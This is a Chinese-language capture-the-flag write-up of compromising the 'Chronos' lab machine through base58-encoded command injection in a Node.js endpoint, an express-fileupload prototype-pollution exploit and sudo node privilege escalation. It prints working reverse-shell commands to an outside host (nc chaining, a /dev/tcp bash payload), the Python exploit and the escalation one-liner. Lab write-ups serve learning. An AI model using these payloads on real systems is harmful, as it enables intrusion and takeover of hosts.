涉及攻击方法:
- 端口扫描
- WEB侦查
- 命令注入
- 数据编解码
- 搜索大法
- 框架漏洞利用
- 代码审计
- NC串联
- 本地提权
使用的工具
- netdiscover
- nmap
- burpsuit
- CyberChef
渗透
使用netdiscover
扫描192.168.0.0/16
,可以看到靶机ip是192.168.0.134
可以看到靶机使用的是ubuntu,80端口开放的http服务器,8000使用nodejs搭建的一个服务器,直接访问80端口,进来只有Chronos - Date & Time
显示,直接查看源码,可以找到一串加密过的js代码
var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();}
可以使用CyberChef
,进行代码美化
var _0x5bdf = [
'150447srWefj',
'70lwLrol',
'1658165LmcNig',
'open',
'1260881JUqdKM',
'10737CrnEEe',
'2SjTdWC',
'readyState',
'responseText',
'1278676qXleJg',
'797116soVTES',
'onreadystatechange',
'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL',
'User-Agent',
'status',
'1DYOODT',
'400909Mbbcfr',
'Chronos',
'2QRBPWS',
'getElementById',
'innerHTML',
'date'
];
(function (_0x506b95, _0x817e36) {
var _0x244260 = _0x432d;
while (!![]) {
try {
var _0x35824b = -parseInt(_0x244260(126)) * parseInt(_0x244260(144)) + parseInt(_0x244260(142)) + parseInt(_0x244260(127)) * parseInt(_0x244260(131)) + -parseInt(_0x244260(135)) + -parseInt(_0x244260(130)) * parseInt(_0x244260(141)) + -parseInt(_0x244260(136)) + parseInt(_0x244260(128)) * parseInt(_0x244260(132));
if (_0x35824b === _0x817e36)
break;
else
_0x506b95['push'](_0x506b95['shift']());
} catch (_0x3fb1dc) {
_0x506b95['push'](_0x506b95['shift']());
}
}
}(_0x5bdf, 831262));
function _0x432d(_0x16bd66, _0x33ffa9) {
return _0x432d = function (_0x5bdf82, _0x432dc8) {
_0x5bdf82 = _0x5bdf82 - 126;
var _0x4da6e8 = _0x5bdf[_0x5bdf82];
return _0x4da6e8;
}, _0x432d(_0x16bd66, _0x33ffa9);
}
function loadDoc() {
var _0x17df92 = _0x432d, _0x1cff55 = _0x17df92(143), _0x2beb35 = new XMLHttpRequest();
_0x2beb35[_0x17df92(137)] = function () {
var _0x146f5d = _0x17df92;
this[_0x146f5d(133)] == 4 && this[_0x146f5d(140)] == 200 && (document[_0x146f5d(145)](_0x146f5d(147))[_0x146f5d(146)] = this[_0x146f5d(134)]);
}, _0x2beb35[_0x17df92(129)]('GET', _0x17df92(138), !![]), _0x2beb35['setRequestHeader'](_0x17df92(139), _0x1cff55), _0x2beb35['send']();
}
可以明显的看到调用了8000端口的nodejs的服务器,其他东西都编码了,没发现其他有用的东西
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
这里访问的chronos.local
,chronos是靶机的名字,猜测应该是访问的靶机8000端口,直接修改本地hosts,再次刷新发现多出了个时间
使用burpsuit
抓包,可以发现发送请求后返回了时间,分析下链接猜测发送过去的内容使用base64编码
直接使用CyberChef
,发现是base58编码,直接解码得到'+Today is %A, %B %d, %Y %H:%M:%S.'
发送过去的路径是/date
,而且这串字符好像在哪见过,猜测是执行的系统命令date
,尝试发现就是执行的系统命令
接下来就是命令执行,可以在date前加;
、|
,&&
,都可以执行后面的命令,尝试执行; ls
,直接base58编码发送请求,成功执行
接下来进行信息收集,发现whoami
被过滤了,尝试进行反弹shell
反弹shell的方式可以看各种花式弹shell
尝试发现bash
执行失败,nc
没有-e
参数,使用nc 192.168.0.135 4444 | /bin/bash | nc 192.168.0.135 5555
成功反弹
这个靶机需要获取两个flag,可以发现一个在home
下有一个文件user.txt
,猜测flag在里面,但是没有权限访问,linux常用提权方式,内核漏洞提权,sudo提权,尝试发现内核没有漏洞,sudo不能执行,分析nodejs代码
package.json
{
"dependencies": {
"bs58": "^4.0.1",
"cors": "^2.8.5",
"express": "^4.17.1"
}
}
app.js
// created by alienum for Penetration Testing
const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();
const port = 8000;
const cors = require('cors');
app.use(cors());
app.get('/', (req,res) =>{
res.sendFile("/var/www/html/index.html");
});
app.get('/date', (req, res) => {
var agent = req.headers['user-agent'];
var cmd = 'date ';
const format = req.query.format;
const bytes = bs58.decode(format);
var decoded = bytes.toString();
var concat = cmd.concat(decoded);
if (agent === 'Chronos') {
if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {
res.send("Something went wrong");
}
exec(concat, (error, stdout, stderr) => {
if (error) {
console.log(`error: ${error.message}`);
return;
}
if (stderr) {
console.log(`stderr: ${stderr}`);
return;
}
res.send(stdout);
});
}
else{
res.send("Permission Denied");
}
})
app.listen(port,() => {
console.log(`Server running at ${port}`);
})
分析发现,把id
、whoami
、python
、nc
、bash
、php
、which
、socat
都过滤了,分析发现随便代码检测到了,这些命令但还是执行了系统命令,没有发现提权的东西,继续查找发现/opt
下还有个chronos-v2的目录,猜测应该还有别的服务没有探测到,获取代码
package.json
{
"name": "some-website",
"version": "1.0.0",
"description": "",
"main": "server.js",
"scripts": {
"start": "node server.js"
},
"author": "",
"license": "ISC",
"dependencies": {
"ejs": "^3.1.5",
"express": "^4.17.1",
"express-fileupload": "^1.1.7-alpha.3"
}
}
server.js
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')
const app = express();
app.use(fileupload({ parseNested: true }));
app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");
app.get('/', (req, res) => {
res.render('index')
});
const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
console.log('Server listening on ' + addr + ' port ' + port);
});
分析代码发现,这个服务器只能本地访问,查找发现express-fileupload
存在原型链污染漏洞,可以使用这个进行提权,根据查找找到发现这个漏洞的人的博客,里面详细介绍了这个漏洞,并且还有exp,用python写的
博客地址:https://blog.p6.is/Real-World-JS-1/
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.0.135/4444 0>&1"'
# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://127.0.0.1:8080')
在本地开个http服务,把文件下载到/tmp
,在这里更容易文件执行
尝试用sudo提权,可以看到npm
和node
提权都不需要密码。可以直接提权
可以直接使用node提权sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0,1,2]})'
,成功提权
获得第二个flag
总结
- 第一次打靶机,写的没那么好
- 这是一次把理论用于实践
- 这次主要是涉及的内网提权,以前一直是打的简单的ctf,内网渗透接触的少
请微信搜索【 0x00实验室 】文章更新将在第一时间阅读 !